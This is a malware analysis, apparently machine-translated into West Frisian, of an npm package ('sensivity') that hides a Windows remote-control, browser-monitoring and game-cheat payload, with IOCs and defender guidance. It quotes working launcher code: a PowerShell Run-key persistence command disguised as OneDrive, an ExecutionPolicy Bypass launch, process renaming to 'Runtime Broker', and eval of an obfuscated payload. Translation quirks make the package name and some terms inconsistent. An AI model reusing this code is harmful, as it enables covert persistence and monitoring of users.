TL; DR
It npm-pakket gefoelichheid beskriuwt himsels as in "Gefoelichheidskontrôlepaniel." Op Windows gedraacht it him as in ark foar ôfstânsbetsjinning en tafersjoch.
Syn yngongspunt, launcher.js, feroaret de namme fan syn eigen proses nei Runtime Broker, skriuwt in autostart Run-key-wearde mei de namme OneDriveUpdate dat it pakket opnij starte fia in ferburgen VBScript, begjint PowerShell mei -ExecutionPolicy Bypass, en evaluearret dan in obfuskearre serverlading fan 171 KB neist in native module fan 6.87 MB, sens.node.
It tsjinnet in kontrôlepaniel foar tillefoankoppeling op TCP-poarte 3000 en lêst de URL fan 'e adresbalke fan' e aktive browser fia Windows UIAutomation, en sjocht nei ien hurd kodearre YouTube-fideo.
Twa dielen dy't earder as swarte fakjes oerbleaune, binne no oplost. De ferburgen server, server.obf.js, brûkt in obfuscator.io RC4 string-array-skema; it opnij ymplementearjen fan syn dekoder offline (gjin JavaScript útfierd) herstelt in inkele eksterne einpunt — https://izopi.com/check.php — tegearre mei in ynbêde RSA-iepenbiere kaai dy't brûkt wurdt om ûndertekende lisinsjeantwurden te ferifiearjen.
De native module, sens.node, is net ynpakt: syn ymporttabel en ynbêde strings identifisearje it as in DirectX 11 / Dear ImGui yn-spultsje overlay dy't aimbot-, ESP (wall-hack) en triggerbot-funksjes leveret, oandreaun troch ynjeksje fan remote-prosessen en lêzen/skriuwen fan ûnthâld.
Strings dêryn ferwize nei auto-entiteiten en kaartlokaasjes dy't oerienkomme mei GTA V / FiveM. It npm-pakket is de leverings- en persistinsjewrapper om dy native module hinne.
It definiearjende sinjaal is operasjoneel, net technysk: ien anonime útjouwer hat sawat santich ferzjes fan ien pakket publisearre - 2.5.0 oant 2.5.69 - oer in pear dagen, elk mei deselde lansearder.
Der binne gjin ynstallaasjes hooksDe lading rint allinich as it pakket starte wurdt.
De oanfal: Hoe't it wurket
sensivity ferstjoert tsien bestannen. De package.json is spars: gjin repositoryfjild, gjin lisinsje, in haad- en twa bin-aliassen (sensivity, sens) dy't allegear nei launcher.js wize, en in startskript fan node launcher.js. Der is gjin postinstall of preinstall. Neat wurdt aktivearre by npm-ynstallaasje. It hjirûnder beskreaune gedrach rint as in brûker it pakket start - fia de bin-shim, it startskript, of in require.
De tarball befettet de launcher, in obfuskearre server, de native module, in Visual Basic-skript, en in public/web directory foar it kontrôlepaniel. launcher.js is de lêsbere orchestrator; de logika dy't wichtich is by runtime sit yn 'e twa blobs dy't it laadt - in obfuskearre server en in kompilearre native module, beide hjirûnder oplost.
Prosesmaskerade en in falske OneDrive-updater
Oan it begjin fan 'e útfiering stelt launcher.js twa kear syn eigen prosesnamme yn:
javascript process.title = 'Runtime Broker'; Runtime Broker is in legitime Windows-proses (RuntimeBroker.exe) dat app-tagongsrjochten bemiddelet. It omneamen fan in Node-proses om it oerien te bringen betsjut dat in flugge blik op Taakbehearder neat ûngewoans sjen lit.
Persistinsje wurdt skreaun fia PowerShell ynstee fan in direkte register-API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); De autostartwearde hjit OneDriveUpdate, en it wiist net direkt nei it pakket. It wiist nei wscript.exe wêrby't it bondele OneDrive.Standalone.Updater.vbs útfiert. Dat skript start node launcher.js opnij yn in ferburgen finster. Sawol de namme fan 'e Run-toets as de VBScript-bestânsnamme liene Microsoft-branding, sadat de autostart-yngong lêst as in routine OneDrive-taak.
PowerShell mei útfieringsbelied bypass
De launcher stjoert hieltyd wer nei PowerShell. De sink dy't scanners as kritysk markearje is it starten fan in generearre .ps1 mei it útfieringsbelied útskeakele:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass ferwideret de lokale skript-ûndertekeningskontrôle foar dy oanrop. De generearre skripts behannelje it browser-tafersjoch en finsterdeteksjewurk dat yn 'e folgjende seksje beskreaun wurdt.
De obfuskearre tsjinner en de native module
Nei de ynstallaasje laadt launcher.js en fiert syn echte lading út:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js is 171 KB fan _0x-array obfuscation - it JavaScript-patroan wêrby't elke tekenrige en identifier ferfongen wurdt troch in yndeks yn in shuffled array, en dan de-referinsje by runtime. It skema is de RC4-fariant produsearre troch obfuscator.io: in inkele decoderfunksje base64-dekodearret in array-yngong en RC4-dekodearret it dan mei in per-call-kaai. It opnij ymplementearjen fan dy decoder yn in apart skript - allinich de opnij ymplementaasje útfiere oer de ekstrahearre 821-yngong tekenrige array, nea it eigen JavaScript fan it pakket - ûntwikkelt it skjin. Wat nei boppen komt is beskieden mar decisive: ien eksterne URL, https://izopi.com/check.php`, tawiisd oan in LICENSE_URL konstante; in ynbêde RSA PUBLIC_KEY_PEM`; it lokale paniel routet /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, en /trigger/status; en de strings child_process, crypto, en [Sensivity] sens.node laden - de lêste is de krekte logline dy't de launcher herskriuwt nei de programmamodule laden. It einpunt is in lisinsjekontrôle: de kliïnt pleatst in identifier (de ferburgen server formatearret in Discord ID: %s string) en de RSA-kaai ferifiearret it ûndertekende antwurd fan 'e server.
sens.node is in kompilearre native addon fan 6.87 MB, en it is net ynpakt - seksje-entropie sit op 5.6–6.6 en de PE-ymport- en eksporttabellen binne yntakt, sadat de mooglikheden direkt lêsber binne. It eksportearret napi_register_module_v1, de standard Node N-API yngongspunt, sadat de evaluearre tsjinner it laadt mei in gewoane eask. De ymporttabel is de tell. Fan KERNEL32 hellet it OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, en Process32First/NextW - de kanonike set foar it lokalisearjen fan in oar proses, it tawizen fan ûnthâld dêryn, en it lêzen of skriuwen fan dat ûnthâld. Fan USER32 hellet it GetAsyncKeyState, GetKeyState, mouse_event, en SetCursorPos; it keppelet d3d11.dll, D3DCOMPILER_43, en dwmapi foar in overlay op it skerm, en de folsleine WINHTTP-set foar netwurkopropen. De ynbêde strings neame de funksjeset sûnder dûbelsinnigens: Aimbot ynskeakelje, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, en de Dear ImGui-banner Dear ImGui 1.91.3 WIP. Lokaasje- en entiteitsstrings lykas Grapeseed Medical Clinic en de wurdskat foar auto-ESP binne konsekwint mei GTA V / FiveM.
De splitsing is bewust yn effekt: de lêsbere launcher.js befettet allinich de dielen dy't in scanner maklik lêst - persistinsje, maskerade, de eval-oprop sels - wylst de obfuskaasje de iene eksterne host, de runtime-kontakten, ferberget, en it binêre bestân de game-overlay en proses-ynjeksjelogika befettet. De launcher is de tinne, kontrolearbere shell; de obfuskearre server ferberget de netwurkidentiteit; de native module is de payload. Wy beskriuwe de ymporten en strings fan it binêre bestân as lêzen; wy liede it doel fan 'e operator der net fan ôf.
In kontrôlepaniel foar tillefoankoppeling op poarte 3000
De launcher beheart in lokale webserver op TCP-poarte 3000 en behannelet it as in singleton. It freget nei in besteande harker en wist it foardat it bindt:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); It paniel is berikber op http://localhost:3000, mei in hurd-kodearre LAN fallback URL fan http://192.168.1.16:3000. De public/-map en it gedrach fan it paniel binne konsekwint mei in QR-pairing flow: in tillefoan scant in koade en ferbynt mei de host as in ôfstânsbetsjinning. Gjin ekstern kommando-en-kontrôle domein ferskynt yn dúdlike tekst yn 'e launcher - mar, lykas de deobfuskaasje hjirboppe sjen lit, is der ien oanwêzich yn 'e obfuskearre server: it izopi.com-lisinsje-eindpunt. It paniel sels is lokaal en LAN-scoped; de ienige útgeande host is dy lisinsjekontrôle.
In loskeppele supervisor/worker-model hâldt it proses yn libben. De launcher werstart himsels mei SENSIVITY_SUPERVISOR- en SENSIVITY_WORKER-omjouwingsflaggen, wêrby't elk bern ferburgen rint, sadat it deadzjen fan ien proses in watchdog oerlit om it opnij te starten.
Browsertafersjoch en it YouTube-sinjaal
It meast spesifike gedrach is browsermonitoring. launcher.js bouwt PowerShell dy't Windows UIAutomation oandriuwt om de adresbalke fan in rinnende browser te lêzen:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern jout de tekstynhâld fan in UI-elemint werom. Tapast op it bewurkingskontrôle fan 'e adresbalke fan in browser, jout it de URL werom dy't it slachtoffer op it stuit besjocht - sûnder in browserútwreiding, sûnder it profyl op skiif oan te reitsjen, en sûnder in API-hook. It generearre skript iterearret in $browserNames-list en ekstraheart de URL of finstertitel fan hokker browser dan ek op 'e foargrûn stiet.
Dy URL wurdt hifke tsjin ien fêstkodearre doel:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; De launcher pollt yn in loop fan trije sekonden foar in browserfinster dat YouTube toant, en de generearre PowerShell draacht in Get-YouTubeBrowser / Test-TargetYouTubeUrl-pear dat oerienkomt mei dy fideo-ID. It waarnimbere effekt is twafâldich: de aktive blêdzje-URL wurdt fan it skerm fan it slachtoffer ôflêzen, en de ynteraksje fan 'e host mei ien spesifike YouTube-fideo wurdt detektearre. Wy beskriuwe it meganisme en it doel; wy liede gjin motyf derfan ôf.
De lêzing yn 'e adresbalke is wat de scanner sensitive_data_enumeration neamt - in Process::env- en UIAutomation-boarne dy't in netwurk-kompatible runtime fiedet. It sjocht der op himsels goedaardich út en wurdt pas oerdroegen oan tafersjoch as de gegevenslibbensyklus folge is fan 'e UIAutomation-boarne nei de ferburgen server.
Tiidline en ferzje-evolúsje
gefoelichheid is gjin ienmalige upload. It útjouwersakkount hat sawat santich publisearre ferzjes fan dit ienige pakket, en nije waarden hieltyd weromjûn tidens it resinsjefinster. De launcher groeit funksje foar funksje oer de 2.5.x-line, wylst syn persistinsje en payload-laden fêst bliuwe.
| Datum (UTC) | Waarnommen ferzjes | Launcher-status |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Basis QR-paniel launcher; Run-key persistinsje; evaluaasje fan ferburgen tsjinner. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Deselde fingerprint; ûnderdrukking fan konsole-traces. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Foeget fêstmakke YouTube-engagementdoel ta wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Gap-opfoljende werútjefte oer it hiele berik; tafersjochhâlder/meiwurkerwaachhûn. |
It lêzen fan 'e launcher oer ynladen fertsjintwurdigers - 2.5.0, 2.5.36, en 2.5.69 - lit fjouwer lagen sjen. De ierste builds hawwe de basis QR-pairing launcher. Fan 2.5.33 ôf ferskynt de UIAutomation adresbalke-harvester. Fan 2.5.58 ôf wurdt in supervisor-behearlaach tafoege. Fan 2.5.64 ôf makket de loskeppele supervisor/worker watchdog de set kompleet. Troch de tiid feroarje fjouwer dingen nea: de OneDriveUpdate Run-kaai, de OneDrive.Standalone.Updater.vbs dropper, de evaluearre server.obf.js, en de native module sens.node.
De weach fan 2026-06-05 is opmerklik om't it de lege ferzjenûmers - 2.5.0 oant en mei 2.5.15 - opnij publisearre dy't ûnder de ferzjes lizze dy't dagen earder befêstige binne. It effekt is in oaniensletten 2.5.x-rigel yn it register, wêrby't elke ferzje deselde launcher hat.
Yndikatoaren fan kompromis
Alle yndikatoaren hjirûnder waarden direkt lêzen út it pakket tarball. De lêsbere launcher hat allinich loopback en ien privee LAN-adres; de iene eksterne hostnamme, izopi.com, waard weromhelle troch server.obf.js offline te deobfuscearjen.
| Type | indicator | Notes |
|---|---|---|
| Pakket | npm:sensivity (≈70 ferzjes, 2.5.0-2.5.69) | Utjouwer mei ien pakket; gjin repository; sûnder lisinsje. |
| file | launcher.js | Lêsbere orkestrator; haad- en bin-doel. |
| file | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, laden fia eval(fs.readFileSync(...)). |
| file | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API-tafoeging; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| file | OneDrive.Standalone.Updater.vbs | Ferburgen opnij starte (node launcher.js). |
| netwurk | https://izopi.com/check.php | Lisinsje-/autoraasje-eindpunt weromhelle fan 'e obfuskearre server; ynbêde RSA-iepenbiere kaai ferifiearret antwurden. |
| Bekwamens | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ynjeksje fan prosessen op ôfstân en lês-/skriuwmooglikheden foar ûnthâld. |
| Bekwamens | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui-spuloverlay dy't aimbot-, ESP- en triggerbot-funksjes ymplementearret. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Autostartwearde wiist nei wscript.exe en de VBScript-launcher. |
| Proses | process.title = 'Runtime Broker' | Ferklaaid as it legitime Windows Runtime Broker-proses. |
| Behavioraal | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Útfieringsbeliedbypass brûkt foar generearre PowerShell-skripts. |
| Behavioraal | UIAutomation ValuePattern lêze fan browseradresbalke | Lêst de URL fan it blêderfinster op 'e foargrûn. |
| Behavioraal | Doelfideo-ID wJWta2lO0Lw3-sekonden YouTube-enkête | Fêstmakke ynset-monitoring sinjaal. |
| netwurk | http://localhost:3000, reservekopy http://192.168.1.16:3000 | QR-pairing kontrôlepaniel lokaal en op it LAN bleatsteld. |
| Miljeu | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Losse koördinaasjeflaggen foar watchdog-proses. |
Attribúsje, ynfloed en ferdigeners
It pakket wurdt publisearre troch ien npm-akkount waans opjûne e-postadres in net-ferifiearre Gmail-adres is. It akkount hat in djip negative registerreputaasjeskoare, ûnderhâldt en publisearret allinich dit iene pakket, en hat gjin keppele boarne-repository. Wy hawwe it eigendom fan 'e e-post net ferifiearre en wy taskriuwe de kampanje oan it útjouwersakkount, net oan in neamd yndividu. De launcher hat gjin dúdlike tekst-ynfrastruktuer, mar de iene eksterne host is no bekend: de obfuskearre server nimt kontakt op mei izopi.com foar in lisinsjekontrôle, en de native module - lêzen fan syn ymporttabel en strings ynstee fan omkearde ynstruksje-foar-ynstruksje - is in spultsje-overlay dy't ynjeksjes yn en it ûnthâld fan in oar proses lêst.
De waarnimbere ynfloed falt op Windows-brûkers dy't Sensivity ynstallearje en útfiere yn ferwachting fan in kontrôlepanielhulpprogramma. Op dy hosts stelt it pakket autostart-persistinsje yn ferklaaid as in OneDrive-taak, feroaret himsels om in systeemproses nei te bootsen, lêst de URL fan wat de brûker ek blêdzjet, en stelt in koppelingspaniel yn dat de masine ferbynt mei in ôfstânsbetsjinning fia it lokale netwurk. De supervisor/worker watchdog betsjut dat in inkele proseskill it net fuorthellet; de Run-toetsynfier oerlibet opnij starte. macOS en Linux wurde net rjochte op 'e launcher - de persistinsje-, PowerShell- en UIAutomation-paden binne allinich foar Windows.
De ferrûning fan santich ferzjes is de trend dy't it wurdich is om te markearjen. It opnij publisearjen fan ien pakket tsientallen kearen yn in pear dagen, ynklusyf it weromfoljen fan ferzjenûmers ûnder dyjingen dy't al fuorthelle binne, hâldt in live kopy yn it register tusken fuorthellings en frustrearret ferzje-pinne blokkearlisten. In blokkearlistyngong foar sensitivity@2.5.61 docht neat tsjin sensitivity@2.5.3 dy't de oare deis opnij publisearre wurdt.
Ferdigeners kinne op it folgjende hannelje:
- Blokkearje de gefoelichheid fan pakketnammen direkt yn register-proxy- en CI-tastimmingslisten. It fêstpinnen fan yndividuele ferzjes giet ferlern oan de werpublisearjende kadens; de namme is de duorsume yndikator.
- Sykje nei in Run-wearde mei de namme OneDriveUpdate wêrfan de gegevens wscript.exe oanroppe tsjin in .vbs yn in paad per brûker. De echte OneDrive-updater is net op dizze manier registrearre.
- Warskôging foar in Node.js-proses wêrfan de process.title Runtime Broker is. De echte broker is RuntimeBroker.exe, gjin Node-runtime.
- Markearje npm-ynstallaasjetiid-opheljen fan pakketten dy't in kompilearre .node-addon plus in eval(fs.readFileSync(…)) fan in sibling .obf.js-bestân ferstjoere. Dy kombinaasje - ûntrochsichtich native binêr bestân laden neist in ferburgen tekstlading - is hjir de strukturele tell, ûnôfhinklik fan elke string IOC.
- Behannelje elke lokaal bûne harker op poarte 3000 dy't ûntstien is troch in ûnferwachte Node-proses as fertocht op behearde Windows-endpoints.
- Blokkearje of warskôgje foar útgeande oanfragen nei izopi.com fan ûntwikkelders of einbrûkershosts; it is it ienige eksterne einpunt fan it pakket, berikt op /check.php fan 'e ferburgen server.
- Foar elke bondele .node-addon, ynspektearje de ymporttabel foardat jo it fertrouwe. De kombinaasje OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread is ynjeksje fan prosessen op ôfstân, nettsjinsteande wat it pakket beweart te dwaan; hjir sit it neist in Direct3D-overlay en aimbot/ESP/triggerbot-strings.
Foar statyske analyze pipelines, de oertsjûgingsfoarm is duorsum oer de hiele ferzje-churn: in net-netwurk ynstallaasjeprofyl, in prosestiteltawizing oan in bekende systeemprosesnamme, in Run-key write fia PowerShell, en in evaluaasje fan in bestân dat fan skiif lêzen is. Gjin fan dizze is ôfhinklik fan in domein, in IP, of in ferzjenûmer dat de folgjende werpublikaasje fuortrotearje kin.
Referinsjes
[npm: gefoelichheid] – registerside foar de hjir besprutsen pakketferzjeline; ûnder foarbehâld fan ferwidering.





